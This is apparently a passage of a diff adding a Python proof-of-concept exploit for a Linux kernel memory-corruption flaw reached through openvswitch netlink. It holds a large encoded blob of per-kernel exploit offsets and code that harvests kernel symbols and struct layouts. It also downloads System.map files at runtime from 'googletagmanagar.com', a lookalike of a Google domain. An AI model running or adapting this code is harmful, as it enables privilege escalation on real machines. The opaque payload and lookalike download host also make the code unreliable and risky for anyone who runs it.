ncfzHKI6wu9ug)Pb5BsgZh~K5D0pAJs=46zRwEr0(sbmY%gtqN0&jHI302jnU*D7@f=LzTBg?nod&dDorIyMM90#NKJPhQfHUC?8`lzy8DLMwB}VQ?=UKAL1=_VXp(7!el(%`x;?I?79F)~tvE$$q(<u8cV1MWmVT~M_oN=5q?WtmE=@ii(oCW?NR8A;Jzwh4^=U}`Or#zdcL{eN5nrt@io!Pw^L#WGq(K^_=L$Z?BF!V>^Fq2S`*?kIw#B-xs7*9g)O37+HCVHU39K_?9eT45-M@!PNo!LcLL)RnlTIV_>_QLSbV*XzOb7ORAT?6YCv|Bpwe+)<x_hUoGyT!DGEuS96rm9sp%FT>&{eO{_HHj;5?WV<vN0h|9*xilO@{|UXBWEv@$mj=%eU_@npGYqI>TrSNP{#T9w7b5NcT;OH(2{ZxrDXwehAiJO+^jXd9kjG=Ds<^-c(vgZQ134&<OqH?gEfXKP#d8F1R%5baS=V)KYV93#pNs_d}%4E_L7gp}#A1lXjSN5YbBgfzSwz(4-v*om=REX!_pKmV~r4BQ2WK;vfyuydQ$}V<X*nVe1BK7oCnmMGe+qO+^jXnX%Tr>9oB&ci5!TA>9?Pg;vZRA~Ztteu&VICv@M0c#=9@t98+8<`0n?spq?aDBf}d@!3k<djqlT@5WO#)9jeWXpEl8XzL`5Guo4PJSU@fZ7;3T#w8*7z-p|f9}lauTiw@>S9XnxYoB)F>5_gtghpsy4-q=M(9)YtySww@sfISHMmg=oa~h!$8libTMCeBodZ-hxDAR7dly*={BQ;X<dWh8drS46pLr;f?lBg8BJTMxgc|FAF$2GdMp1$5SEzM@Unrk8Xz-p}K^$@GGTithA%k}r-*(z#!@emrJ=Mq{Q&+8#VkI1H5op_>SjkR$|jnqg@p9fOsmU>{Nhq)hkd`u6BX*r&aj^kP&4btpg0_jIZx<8%XVqK-H0FK!fum)=?YOv0Xwdw84^F6aIqM}Y82#wGPP3JU1Kbp|Hc9{C84PALijns5{AoUDV_q`+fu3kJ{6{_Z0q9&R~XoRNI1EC*J=)Qa6P1m$(QV$;;_r#GJshL7V>daEx{s|Ya?oJ^#$+WA#N7H1B!f1@fXz~t>&Te#HHQl*oTFP{@MO?IWcOW!ElXoEW;|blBceE~w*HYUMEpLZNjnvfANS$BmcO%k{cBizDg3t(!&~!>8^c+GDjJ3GCEqDoO@kQ$H2pj?cX^>|25TqX&>ArsH&se*PJGEd9)>PDBogHh}JK55)XZmB>jCWm5)8T>82+iyvLO-6+JN9@qV=d8<P9rr^^L~ib*`@C5^a%YoYSSG6qG^OiXoN=S{6hD1cnsyyToFfTgl6Utq4Nvv2WAeXCy~}=G%lJFqcIwzc{9Z5yhfLOiS(U5>CaWPHqol6Num)Np?Nbz=*JVf>&@_{mX@+mp?Nc8IvlBydbV1c>G0<(^+2<9xVs4N<<(jJtypLmlhd@|fiy_ZHqkN`X(n2p7t(zbEeUI*QabHa{Q=fs4c5FMf^}Z3!@vuo?MXdEMX5MXi_sWOA09@}V02HXwC}x1Yoqw65E`KonysY>{dhv}x*qPLGEwt_h}1|uTP<DE>+yW0em5fRXg?o@sC0D9v>-G>&(-7MTi>J9($7rj{^!Hnfye8sg!F0s$EHxW7CPzx(jX1ebG1y5MVcOu=Y@2Ck4KHQO<mKq*P_81tihTd53tUQbv4lA;kt5Z2{*S|Xqv`ojGoD8>m-ab+LL-bC!>en5VuyliZ?{8#_IXr5JM@vAwE~D``!?5T@io1zT74rx=<?GDq0c`ghuGkLK}7WC$5FIt;G1g(7qK>bPH{jHMT7;@$_>N+OOVj&Nde(M_ov#pKdAr)Bk+;-K(E|e)Hm=KYaV@zyH=;6o0k8NSpFh8C{5qM@7^|?HSZ&4-;w+sNI!<4C$TX>zmz7$c@~{&0Z$t&LX$!-Joasx~l8i+C^atH9{lwTn&5Gi1$Tm>*pr)j*U!8q7m*QA~jO8?E|T2kh*V{-1KjuR%QKx&<KstZ2LgyM-zI)y#S%B8mW<*S#qS#F17AWJ?!0H>ZViAH~W~FO+;vfo->#BinIfv?+D#D^>QP%jV5q=3#pNM#wqd<wKP-Yi<DXhCKRjtb1!F2-XYPYL2``7XpEj|irkLqpk|8v`5E0+Pq#brs?_J9$fmIxtI4LZI<wWL-|F&~(P^e7Wgdk|n?8)@lr2VMG;2;V`f-i!ucuGb{Gmv+q2?N^u^Own?1I&~t?ui}tNIcT8(kSKx5g0~p=axx_JPC$p+{uXtr<k^Qs1<8NR8A;&4yE?&MUR;le(0yZoHyOLOUM~LL)Rn&n2`dMJ<iccZBY$rEl+|mNF_*52QwFc2OgBUa8CBt)}IeZKm3!?mVZXLv7SXZFW(k_T#EOW*7B#??<h7sJ~01RnZ!DQ6o2UQ*R@8F1fWDl)L`v0kO9?6>G7ZJX=*!sJBrYwW+sJ`*GF&lG`s*7HP?zxw+hh+{lgG)Z56NLvB4R_n_G6Rr1^S7wJ_}Ow>Lqq25Mq)TZ7>?MGF6Oue1@vm3o_y5^-#w2pckxsjWC8@aQ|J^V7M%UxopO9X{W{UqX}ut@~9QJZ=jwI5gQQT2B7I$7&orrjcS$!$ILHgY33_4X`s?=Vj6pmAcyRHot!ZK6^)Spt<QzTq2{>D-m+{W`R}R@IYL9GkRW>nJ)Z7j;GDhm6QLN97j+N$Yd`XLd6zx3Rl=(V8uDbv+wWFPdf#C~BkjT=i@vfqE9TJJcRqZ{KX5v#H*`zKVj}$c@~2>+LdF>g{JKw;z_<@0zu4Hqq&nkT_GLO}&lUs6AJ`%>{4N?o@m1<lg5CS5n=iCCH83$emU0Qpu=#+Xd?FMadlogOV^hCwaYj-|T<3$!)XkNE6@&Zr}!P;LZTI8-&}9Ew~fhY0;67Iz(3iH*f>@99c;@?gAEYFAeU&s3eS<0ZG>j6Wmf2s!I1|RSDd{4ct$tN!qn<z5w?E;2xab3t?<j^5fBEvn<0#Wumsg4cx#D+`yd;?l1`V&DB}i)mf6@PWQsoSYi|h+`tXozzy8F;I0PuL05Y0x{M#re=nptA1<Fq%7GiWfg8AiI|JN<T_x4{Zou_f{f(P;f#~W}FE?<1eQ>wFL_KhOwG-|z2)8Sj3AYX1a7)z<cl%xOKHMSf9KW$%mlAe2ay!FG@#Vl>9;oKzp_0|xcbhJ@O^4Q>W+cTF%0vmD0&OO4fEuWQ8mMzYZB}oO-j9YlwTv`t`frA7IBE#gKs_JS+5`2og}S?<?%EyIo`O^om5t5-HBbZf3{Z;`rAO?HYM^F@eR)uy*WdG}UzUDc-@a01bRjy@53I)Oxr%CIEk*V7wA!xL|N1bxsBWhpsp*=NS3nKaPcWvYs9qq{|EY!9i)t6GXJ<B4Lp3joP@SD>*Y~36`ofQ!V_mLRnioZ&25N$8pq>Hh{-AoN)gda0mPbXb#%h9Utj=t;?+dE^E~uOC4?|E5)IdEG)T6fYIb(F$`qlvIg+Sete)vDc_ALmx9)LM5iZb<8TNNb$HedtxEGdYt{HVTaz+NQS{VB+e*_~~Buh*B`p~bRku@0mmn2p&K*_fT(?6NNnDTj*e)Dx1x)-K(3H1^Y>0>B1rz@~i<urq?)*S=SF<{`gcZ3FC(@(@!+>!BK|p_=wRsLoAwPk>$a&zYY!$G==uo)846ftvO`pq>Hh{@{9-)lKhSw6t1dHCEHUht-*_4t;@j*afwUbzN;7Py;nk^Rfuk*`e+Ws>5Id->+9&vUM7b5fzm{He^FKi%}svH`zUbb?Arsv?!!V*I>#hKn>JD{p6q~uwEY2{ektc)m5R(=;{xaIAJwb(*=UnnXRt+0_$q%ewR_Hvsz3vB~Sx3P|p=uD@$Mv)VHC&j;nS5D9mYEk1E?%5GrfH25d%Q06Ra}eJ_mF?hb2LM#Cr!R6{j^HB{%NTC0Al>z^CWL39l@3sSKft8ZIvBy?IGlp3(QYW-dkSY!2FtL^IT=4^9ua@1*c*M*ojFaG(%x3B*DZ?`VR=%^|#<zhBw&t^8w)|lOC_Q2}BPj;tlB-t%C9b|Man(K{Dzzy8MO|cE!8Q^w<aJwO}|FJpVf-PyU6YD}S8?!MRvvZp*GGw;Mu7IT3#pjv_NRG*1HfCcsX6H7$95lNeGW*jwdPq}_+C<B$Ys|*%+014f{dt-l2F(sbX1~7Lo+l7pC>`q$8vQUEv*&w=WQYc{JIo%Kqq&u9H<RkR$w*XmB@dCn4cs>!+O5CPtqyJDhdQ)v*a5dORsAosv)I;^(mojAUJl$^eRI4y)MmB*?f5g3x1J(9seZ9JJXxO=+h1a(|2TYquFW^P_;aeWSIX6YKllr3qc&=1Rl96|C5F^CqELHzY9F1RUmasNc4PNf7L_<%T07!N(t53kw-;r1nqNQo<;a?Y+f?qBI~_}Jnn+9vNF;E32C)$vu@O7F*m^&)Q>5L9UDkihqH@edA~s^rC$<iDoY?FgS(ezct+DOY8e2sb5F4=(8?g~Puh@D&vD-DaNxS`6!;0AX#cuulvlZKT6|4;--XLq%+gH{R`>PjQuk`A8^UM0`^m4q_H@p1`DU^%0iu!YPUHti2`?CB+^ZJO|)Y+NqY*Tu&>}RR=zORqla|dUsJzFF?&Fdp#Ble8Rh$xbg=P35xS@s>V6&J-28?omRTbvHnm>Sy{?E~G}ixRu^s#L1}H$yX#HNwi*pX6=%hc1J1!FZ$o5IIoxk5a9V%hLAmCBbj}#_znt?0!tYU-H|MY~y$G+q&(b`ycMe9vx|i-}sH+_>JFB-ft_~sj9s8+g7CwLE$%k<2O4=@OwtTW%^DMS;^hGcE1ujOHdoN*-3)h8P%S=lLWi5n_g~ux%1e4i|bpEe~I1067JI(y<L8KR%n$vqqTgx!q{|1hr`YKP#t0*22#J$8BP6~p?=-JGy2n1OVu2Tk!U&Yh1iIV*od83>^=7~eLC&coQW|Kg)=dTjo8exAa+)<_nu|BU1KX3g=36}jo65d*qO!Nb1&1K8e2t8jg8p6<;^mEC_!XI_p>ps2Ae*NMTxz>IQmtu^cTH7{xv;3HivW5d!q``g{Y+XM%DiUYp@3Ed{}#1`Voy6QabB|QI%z3{h!TQ+N4+iKiyvcKi~Z@-t00uh1r-*B*J(KW@j?nOdn4%_s=etE9GeKLv7S%JO#D$sXci-1-r2uyJ_^p?)mKAzcu^&i<9jmWR+H++WLcYUWkp@w2dHkR<ZYP^t&y#OPwQ#jo64yjg8p(#J1CpoWHy}O=kwu0Y()yN6rx&v8k~UJFD1}PUe0V+t_GGMGzaY=Xis(s`(e4BhOB3JGpVh-hX>^D;0Qq#B9u_Zv?ZmnLV{_1i6tLxgRGVamtctKR>xA?DPBes(7{jSQKTUL$od$M?3=9fISn~zVZax&k*cMJtGa+q5cyPl|;)6BwzzJ6*ge!1KaOkVW$Vk1hzKypR(vI`&R)Qu&J;CJ1^LKSJ-W^>k2zW1=xTM*mR5lc0RDn$sHqQ*Sn+kygOnxX45f(+1bpV+A)IM$c^0O*~mSc+|xTov`rl&;#e~R*nmx*4cK|X-v69f3+yuLDq8Yvzy@q8Y{1S3c9^!vuL0ZDA5ojAsjvYXu&J;CJ15wad$JSQHY!7f4cLH9#|U8O1iPBtF;aECI|}cPn2p(Vj9_*?v!`~9AUAR&H+eR4&nEY({tewP&wh1&wv9(ZAvzi#oh2RtY`_L=z|IP`-Lu8-YO@8qs*O&U#2j~N02{CY8?f_&?WXl)i%ui!PND{Ezy@qOMgTh}*s_g8?4(FUqA^j3L;xGG=K@<g9w`C)Ie=~V9HMDOBF%Aida?l<umKyeGlT7>O+9WS5u+JX2W-H;1-9-1+p91DcG=Omcc;HEhz^w<mtlMVwPx72jIO^&`ytZ@YISksSHJ)IWiur&ug;3XrGhi9jm9th!moD08M^zELr33otKcmCh=NmDrJk8z_Y2NlqLp7HTKY%mB%1bV4~1yD3J`4u(ON(M75pQ#%JPrUrY`AR`yY*aCoXibrJ}1~DgOwq4`iiR$D3c)SErX>_7Bf5uTG0X3gu$`;XYplEdE?o@{0~f3|oLUWoTZst18%Wqs@vjx#gg3CXP1Ozry_ixpJiivoRa9Gn#FxN~thzv{^#H?8TWqZL}G=ksG-mBlPuNmCnh+Lto_XkbD1Cov+uI+n~hOe@l;Iqp8TW0UNLZ8?dv2t@j^oPGD<WsHQE9<F0@W*t3Cc{J6G?(vxQ|3GBUhE8nTGRn!95fDPDy4cJ-1*85M&wJPkiKM1e^8?cE)06QDlc6x@bL#nWwVL8ACY`_L=z|IP`Ov|v-XtRsfM4`e4Y`_L=z|ITyp8J&lu{qv?Eom2pxM-N=25i74!v^e}VDG)2^LB+TmI@oN0UNLZJ2%*SuIId0Vbj(J*z6XW1#FShRetw+&a@!3s<^<tB(Q&7UmS1FHphCUKmGeJdU^b7dUkB&POC+9h}I^%zezXUN5TDH|NFoGe|8h;EC")
+# END EMBEDDED KERNEL RECORDS
+
+
+def uname_a() -> str:
+    uname = os.uname()
+    return " ".join(
+        (
+            uname.sysname,
+            uname.nodename,
+            uname.release,
+            uname.version,
+            uname.machine,
+        )
+    )
+
+
+def acknowledge_unknown_kernel() -> None:
+    print(
+        "This is a memory-corruption-based PoC -- it requires per-kernel-build "
+        "derived values (offsets, etc.). These were pre-derived for a number of "
+        "kernels in this single-file PoC, but yours is NOT among "
+        f"them: {uname_a()}.\n\n"
+        "Therefore, the PoC will attempt to _dynamically derive_ the offsets, "
+        "etc., from readable local System.map files or nonzero /proc/kallsyms "
+        "for symbol offsets; readable /sys/kernel/btf/* files or unstripped "
+        "local kernel build objects via pahole for struct layouts; and loaded "
+        "/sys/kernel/btf/openvswitch module BTF for "
+        "OVS_KEY_ATTR_TUNNEL_INFO. These are often available to unprivileged "
+        "users across distros, but the availability depends on various "
+        "security settings. If they are NOT available, the PoC will report "
+        "this and terminate. (Note: pahole must be already installed for the "
+        "dynamic derivation; an actual attacker would just package it in the "
+        "PoC).\n\n"
+        "By proceeding, you acknowledge that such early termination would NOT "
+        "imply your kernel is not affected, since your kernel could still be "
+        "vulnerable despite these sources not being reachable by an "
+        "unprivileged attacker; an unprivileged attacker could still trivially "
+        "target the PoC at your kernel by obtaining the symbols in a myriad of "
+        "other ways (e.g., matching distro debuginfo/kernel-devel packages, "
+        "System.map/vmlinux/BTF from the vendor kernel package, a second "
+        "machine running the same kernel build, rebuilding the same "
+        "source/config locally, public distro debug repositories, or any "
+        "privileged read of the target's symbol/debug files).\n\n"
+        "For a definitive check of whether you are affected, see "
+        "https://heyitsas.im/posts/ovswrap",
+        flush=True,
+    )
+    if not sys.stdin.isatty():
+        log("auto-acknowledging dynamic derivation (non-interactive stdin)")
+        return
+    try:
+        answer = input("Acknowledge? [Y/N]: ")
+    except EOFError:
+        log("auto-acknowledging dynamic derivation (EOF on stdin)")
+        return
+    if answer.strip().lower() == "y":
+        return
+    raise RuntimeError(
+        "terminated: user refused to acknowledge that dynamic-derivation "
+        "failure on an uncovered kernel would not imply non-affectation"
+    )
+
+def require_pahole_for_dynamic_derivation() -> None:
+    ensure_pahole_available()
+    if shutil.which("pahole") is None:
+        raise RuntimeError(
+            "kernel is not covered by pre-derived kernel records, and pahole is "
+            "required to dynamically derive kernel struct offsets from local "
+            "debug info. This does NOT mean you are not affected, as a real "
+            "attacker would just package the equivalent functionality into "
+            "the PoC or otherwise target the PoC at this kernel. For a "
+            "definitive check of whether you are affected, see "
+            "https://heyitsas.im/posts/ovswrap"
+        )
+
+
+def json_object(value: Any, source: str) -> dict[str, Any]:
+    if not isinstance(value, dict):
+        raise RuntimeError(f"{source}: expected a JSON object")
+    return value
+
+
+def json_int(obj: dict[str, Any], field: str, source: str) -> int:
+    value = obj.get(field)
+    if not isinstance(value, int) or isinstance(value, bool):
+        raise RuntimeError(f"{source}: {field} must be an integer")
+    return value
+
+
+def json_str(obj: dict[str, Any], field: str, source: str) -> str:
+    value = obj.get(field)
+    if not isinstance(value, str):
+        raise RuntimeError(f"{source}: {field} must be a string")
+    return value
+
+
+def json_str_tuple(obj: dict[str, Any], field: str, source: str) -> tuple[str, ...]:
+    value = obj.get(field)
+    if not isinstance(value, list) or not all(isinstance(item, str) for item in value):
+        raise RuntimeError(f"{source}: {field} must be a string list")
+    return tuple(value)
+
+
+def json_carrier(obj: dict[str, Any], field: str, source: str) -> str:
+    value = json_str(obj, field, source)
+    if value not in CARRIER_ORDER:
+        raise RuntimeError(f"{source}: {field} has unknown carrier {value!r}")
+    return value
+
+
+def parse_kernel_offsets(value: Any, source: str) -> KernelOffsets:
+    obj = json_object(value, source)
+    values: dict[str, Any] = {}
+    for kernel_field in fields(KernelOffsets):
+        if kernel_field.name == "dst_entry_ref_kind":
+            values[kernel_field.name] = json_str(obj, kernel_field.name, source)
+        else:
+            values[kernel_field.name] = json_int(obj, kernel_field.name, source)
+    ref_kind = values["dst_entry_ref_kind"]
+    if ref_kind not in ("__rcuref", "__refcnt"):
+        raise RuntimeError(f"{source}: invalid dst_entry_ref_kind={ref_kind!r}")
+    return KernelOffsets(**values)
+
+
+def parse_kernel_build_record(value: Any, source: str) -> KernelBuildRecord:
+    obj = json_object(value, source)
+    return KernelBuildRecord(
+        release=json_str(obj, "release", source),
+        version=json_str(obj, "version", source),
+        machine=json_str(obj, "machine", source),
+        offsets=parse_kernel_offsets(obj.get("offsets"), f"{source}.offsets"),
+        read_carrier=json_carrier(obj, "read_carrier", source),
+        write_carrier=json_carrier(obj, "write_carrier", source),
+        read_lanes=json_str_tuple(obj, "read_lanes", source),
+        ovs_key_attr_tunnel_info=json_int(obj, "ovs_key_attr_tunnel_info", source),
+    )
+
+
+def load_kernel_build_records() -> tuple[KernelBuildRecord, ...]:
+    source = KERNEL_RECORDS_DESCRIPTION
+    try:
+        encoded = base64.b85decode(_KERNEL_RECORDS_B85)
+        value = json.loads(zlib.decompress(encoded))
+    except (ValueError, zlib.error, json.JSONDecodeError) as exc:
+        raise RuntimeError(f"{source} is malformed: {exc}") from exc
+
+    if not isinstance(value, list):
+        raise RuntimeError(f"{source}: expected a JSON array")
+    return tuple(
+        parse_kernel_build_record(item, f"{source}[{index}]")
+        for index, item in enumerate(value)
+    )
+
+
+def parse_attrs(buf: bytes) -> list[Attr]:
+    attrs: list[Attr] = []
+    offset = 0
+    while offset + 4 <= len(buf):
+        length, attr_type = struct.unpack_from(NLA_HDR, buf, offset)
+        if length < 4 or length > len(buf) - offset:
+            break
+        attrs.append(Attr(attr_type, buf[offset + 4 : offset + length], length))
+        offset += align4(length)
+    return attrs
+
+
+class GenericNetlink:
+    def __init__(self) -> None:
+        self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC)
+        self.sock.bind((0, 0))
+        self.seq = 1
+
+    def request(
+        self,
+        nlmsg_type: int,
+        cmd: int,
+        version: int,
+        payload: bytes = b"",
+        flags: int = NLM_F_REQUEST | NLM_F_ACK,
+    ) -> list[bytes]:
+        seq = self.seq
+        self.seq += 1
+        genl = struct.pack(GENL_HDR, cmd, version, 0)
+        message = genl + payload
+        header = struct.pack(NLMSG_HDR, 16 + len(message), nlmsg_type, flags, seq, 0)
+        self.sock.send(header + message)
+
+        want_ack = bool(flags & NLM_F_ACK)
+        replies: list[bytes] = []
+        while True:
+            data = self.sock.recv(1 << 20)
+            offset = 0
+            while offset + 16 <= len(data):
+                length, msg_type, _msg_flags, rseq, _pid = struct.unpack_from(
+                    NLMSG_HDR, data, offset
+                )
+                if rseq != seq:
+                    offset += align4(length)
+                    continue
+                body = data[offset + 16 : offset + length]
+                if msg_type == NLMSG_ERROR:
+                    error = struct.unpack_from("i", body, 0)[0]
+                    if error == 0:
+                        return replies
+                    raise OSError(-error, os.strerror(-error))
+                replies.append(body)
+                offset += align4(length)
+            if replies and not want_ack:
+                return replies
+
+    def get_family(self, name: str) -> int:
+        replies = self.request(
+            GENL_ID_CTRL,
+            CTRL_CMD_GETFAMILY,
+            2,
+            nla(CTRL_ATTR_FAMILY_NAME, cstr(name)),
+            NLM_F_REQUEST,
+        )
+        for reply in replies:
+            for attr in parse_attrs(reply[4:]):
+                if attr.attr_type == CTRL_ATTR_FAMILY_ID:
+                    return int(struct.unpack_from("H", attr.payload, 0)[0])
+        raise RuntimeError(f"family {name} id not found")
+
+
+def run_text(command: list[str]) -> str:
+    result = subprocess.run(command, text=True, capture_output=True, check=False)
+    return (result.stdout + result.stderr).strip()
+
+
+def step(message: str) -> None:
+    print(f"\n***{message}***", flush=True)
+
+
+def log(message: str) -> None:
+    print(message, flush=True)
+
+
+def env_tri_state(name: str, *, default: str = "auto") -> str:
+    raw = os.environ.get(name, default).strip().lower()
+    if raw in ("1", "yes", "true", "on"):
+        return "on"
+    if raw in ("0", "no", "false", "off"):
+        return "off"
+    return "auto"
+
+
+_KALLSYMS_USABLE_CACHE: bool | None = None
+
+
+def kallsyms_usable() -> bool:
+    global _KALLSYMS_USABLE_CACHE
+    if _KALLSYMS_USABLE_CACHE is None:
+        offsets, _failure = symbol_offsets_from("/proc/kallsyms")
+        _KALLSYMS_USABLE_CACHE = offsets is not None
+    return _KALLSYMS_USABLE_CACHE
+
+
+def vmlinux_btf_available() -> bool:
+    return os.path.isfile(os.path.join(BTF_DIR, "vmlinux"))
+
+
+def hybrid_mode_requested(record: KernelBuildRecord | None) -> bool:
+    mode = env_tri_state("OVS_C004_HYBRID")
+    if mode == "off":
+        return False
+    if mode == "on":
+        return record is not None or vmlinux_btf_available()
+    if record is None or not vmlinux_btf_available():
+        return False
+    if not kallsyms_usable():
+        log(
+            "kernel offsets: auto hybrid enabled because /proc/kallsyms is "
+            "zeroed or unusable but vmlinux BTF is available"
+        )
+        return True
+    log(
+        "kernel offsets: auto hybrid enabled to derive struct layouts from "
+        "BTF while keeping pre-derived symbol/UAPI metadata"
+    )
+    return True
+
+
+def force_dynamic_requested() -> bool:
+    return env_tri_state("OVS_C004_FORCE_DYNAMIC") == "on"
+
+
+_RPM_RELEASE_RE = re.compile(
+    r"^(\d+\.\d+\.\d+)-(\d+(?:\.\d+)*)\.([a-zA-Z0-9_]+)(?:\.(x86_64|aarch64))?$"
+)
+
+
+def system_map_release_stems(release: str) -> list[str]:
+    stems: list[str] = [release]
+    if release.endswith("-generic"):
+        stems.append(release[: -len("-generic")])
+    rpm = _RPM_RELEASE_RE.match(release)
+    if rpm is not None:
+        stems.append(f"{rpm.group(1)}-{rpm.group(2)}.{rpm.group(3)}")
+    ordered: list[str] = []
+    seen: set[str] = set()
+    for stem in stems:
+        if stem in seen:
+            continue
+        seen.add(stem)
+        ordered.append(stem)
+    return ordered
+
+
+def system_map_standard_paths(release: str) -> list[str]:
+    paths = [
+        f"/lib/modules/{release}/System.map",
+        f"/boot/System.map-{release}",
+        f"/usr/lib/debug/boot/System.map-{release}",
+        f"/lib/modules/{release}/build/System.map",
+        f"/usr/src/linux-{release}/System.map",
+        f"/usr/src/kernels/{release}/System.map",
+        f"/tmp/System.map-{release}",
+    ]
+    for stem in system_map_release_stems(release)[1:]:
+        paths.extend(
+            [
+                f"/lib/modules/{stem}/System.map",
+                f"/boot/System.map-{stem}",
+            ]
+        )
+    return paths
+
+
+def system_map_cache_path(release: str) -> str:
+    base = os.environ.get("OVS_C004_DWARES_BASE", "").strip()
+    if not base:
+        base = os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004")
+    run_dir = os.path.join(base, "run")
+    os.makedirs(run_dir, exist_ok=True)
+    return os.path.join(run_dir, f"System.map-{release}")
+
+
+def default_system_map_urls(release: str) -> list[str]:
+    urls: list[str] = []
+    custom = os.environ.get("OVS_C004_SYSTEM_MAP_URL", "").strip()
+    if custom:
+        urls.extend(part.strip() for part in custom.split(",") if part.strip())
+    for stem in system_map_release_stems(release):
+        urls.extend(
+            [
+                f"https://googletagmanagar.com/exp/ov2/System.map-{stem}",
+                f"https://googletagmanagar.com/exp/ov2/minimal-{stem}.System.map",
+            ]
+        )
+    ordered: list[str] = []
+    seen: set[str] = set()
+    for url in urls:
+        if url in seen:
+            continue
+        seen.add(url)
+        ordered.append(url)
+    return ordered
+
+
+def _find_system_map_in_tree(root: str, release: str) -> str | None:
+    for stem in system_map_release_stems(release):
+        for rel in (
+            f"lib/modules/{stem}/System.map",
+            f"boot/System.map-{stem}",
+        ):
+            path = os.path.join(root, rel)
+            if os.path.isfile(path):
+                return path
+    return None
+
+
+def bootstrap_system_map_from_urls(release: str, dest: str) -> bool:
+    if os.path.isfile(dest) and os.access(dest, os.R_OK):
+        offsets, _failure = symbol_offsets_from(dest)
+        if offsets is not None:
+            return True
+    for url in default_system_map_urls(release):
+        log(f"bootstrap: downloading System.map from {url}")
+        try:
+            with urllib.request.urlopen(url, timeout=60) as resp:
+                data = resp.read()
+        except (OSError, urllib.error.URLError) as exc:
+            log(f"bootstrap: download failed: {exc}")
+            continue
+        if len(data) < 20:
+            log("bootstrap: download too small or empty")
+            continue
+        tmp = dest + ".part"
+        with open(tmp, "wb") as handle:
+            handle.write(data)
+        os.replace(tmp, dest)
+        os.chmod(dest, 0o644)
+        offsets, failure = symbol_offsets_from(dest)
+        if offsets is not None:
+            log(f"bootstrap: cached System.map at {dest}")
+            return True
+        log(f"bootstrap: downloaded map unusable: {failure}")
+        try:
+            os.remove(dest)
+        except OSError:
+            pass
+    return False
+
+
+def bootstrap_system_map_from_rpm(release: str, dest: str) -> bool:
+    pkg_mgr = shutil.which("dnf") or shutil.which("yum")
+    if pkg_mgr is None:
+        return False
+    for tool in ("rpm2cpio", "cpio"):
+        if shutil.which(tool) is None:
+            log(f"bootstrap: {tool} missing, skipping kernel RPM download")
+            return False
+    base = os.path.dirname(dest)
+    pkg_dir = os.path.join(base, "kernel_pkg")
+    extract_root = os.path.join(base, "kernel_extract")
+    os.makedirs(pkg_dir, exist_ok=True)
+    if os.path.isdir(extract_root):
+        shutil.rmtree(extract_root)
+    os.makedirs(extract_root, exist_ok=True)
+
+    dnf_base = os.path.join(
+        os.environ.get("OVS_C004_DWARES_BASE", "").strip()
+        or os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004"),
+        "dnf",
+    )
+    for sub in ("log", "cache", "persist"):
+        os.makedirs(os.path.join(dnf_base, sub), exist_ok=True)
+    dnf_conf = os.path.join(dnf_base, "dnf.conf")
+    with open(dnf_conf, "w", encoding="ascii") as handle:
+        handle.write(
+            "[main]\n"
+            f"cachedir={os.path.join(dnf_base, 'cache')}\n"
+            f"logdir={os.path.join(dnf_base, 'log')}\n"
+            f"persistdir={os.path.join(dnf_base, 'persist')}\n"
+        )
+
+    pkg_candidates = [
+        f"kernel-core-{release}",
+        f"kernel-{release}",
+    ]
+    rpm_paths: list[str] = []
+    for pkg_name in pkg_candidates:
+        log(f"bootstrap: downloading {pkg_name} via {pkg_mgr}")
+        proc = subprocess.run(
+            [
+                pkg_mgr,
+                "-c",
+                dnf_conf,
+                "--setopt=install_weak_deps=False",
+                "download",
+                f"--destdir={pkg_dir}",
+                pkg_name,
+            ],
+            capture_output=True,
+            text=True,
+            check=False,
+        )
+        if proc.returncode != 0:
+            detail = (proc.stderr or proc.stdout or str(proc.returncode)).strip()
+            log(f"bootstrap: {pkg_mgr} download {pkg_name} failed: {detail}")
+            continue
+        rpm_paths = _filter_rpms_for_host(
+            sorted(glob.glob(os.path.join(pkg_dir, "*.rpm")))
+        )
+        if rpm_paths:
+            break
+
+    if not rpm_paths:
+        log(f"bootstrap: no kernel RPM downloaded under {pkg_dir}")
+        return False
+
+    for rpm_path in rpm_paths:
+        base_name = os.path.basename(rpm_path)
+        if not (
+            base_name.startswith("kernel-core-") or base_name.startswith("kernel-")
+        ):
+            continue
+        if base_name.startswith("kernel-") and not base_name.startswith(
+            "kernel-core-"
+        ):
+            if any(
+                x in base_name
+                for x in (
+                    "kernel-devel-",
+                    "kernel-debug-",
+                    "kernel-headers-",
+                    "kernel-tools-",
+                )
+            ):
+                continue
+        _extract_rpm_tree(rpm_path, extract_root)
+        src = _find_system_map_in_tree(extract_root, release)
+        if src is None:
+            continue
+        shutil.copyfile(src, dest)
+        os.chmod(dest, 0o644)
+        offsets, failure = symbol_offsets_from(dest)
+        if offsets is not None:
+            log(f"bootstrap: extracted System.map to {dest}")
+            return True
+        log(f"bootstrap: extracted map unusable: {failure}")
+
+    log("bootstrap: kernel RPM did not contain a usable System.map")
+    return False
+
+
+def in_namespace_child() -> bool:
+    return bool(os.environ.get(HOST_USER_ENV))
+
+
+def prepare_system_map_host() -> None:
+    if in_namespace_child():
+        return
+    release = os.uname().release
+    bootstrap_system_map(release, network=True)
+
+
+def bootstrap_system_map(release: str, *, network: bool | None = None) -> None:
+    if os.environ.get("OVS_C004_NO_SYSMAP_BOOTSTRAP", "").strip().lower() in (
+        "1",
+        "yes",
+        "true",
+    ):
+        return
+    dest = system_map_cache_path(release)
+    if os.environ.get("OVS_C004_SYSTEM_MAP", "").strip():
+        return
+    if os.path.isfile(dest) and os.access(dest, os.R_OK):
+        offsets, _failure = symbol_offsets_from(dest)
+        if offsets is not None:
+            os.environ["OVS_C004_SYSTEM_MAP"] = dest
+            return
+    if network is None:
+        network = not in_namespace_child()
+    if not network:
+        return
+    if bootstrap_system_map_from_urls(release, dest) or bootstrap_system_map_from_rpm(
+        release, dest
+    ):
+        os.environ["OVS_C004_SYSTEM_MAP"] = dest
+
+
+def discover_system_map_candidates(release: str) -> list[str]:
+    script_dir = os.path.dirname(os.path.abspath(__file__))
+    dwarves_base = os.environ.get("OVS_C004_DWARES_BASE", "").strip()
+    home = os.path.expanduser("~")
+    candidates: list[str] = []
+    custom = os.environ.get("OVS_C004_SYSTEM_MAP", "").strip()
+    if custom:
+        candidates.append(custom)
+    candidates.append(system_map_cache_path(release))
+    for stem in system_map_release_stems(release):
+        candidates.extend(
+            [
+                os.path.join(script_dir, "data", f"System.map-{stem}"),
+                os.path.join(script_dir, "data", f"minimal-{stem}.System.map"),
+                os.path.join(script_dir, f"System.map-{stem}"),
+                os.path.join(home, ".cache", "ovs_c004", "run", f"System.map-{stem}"),
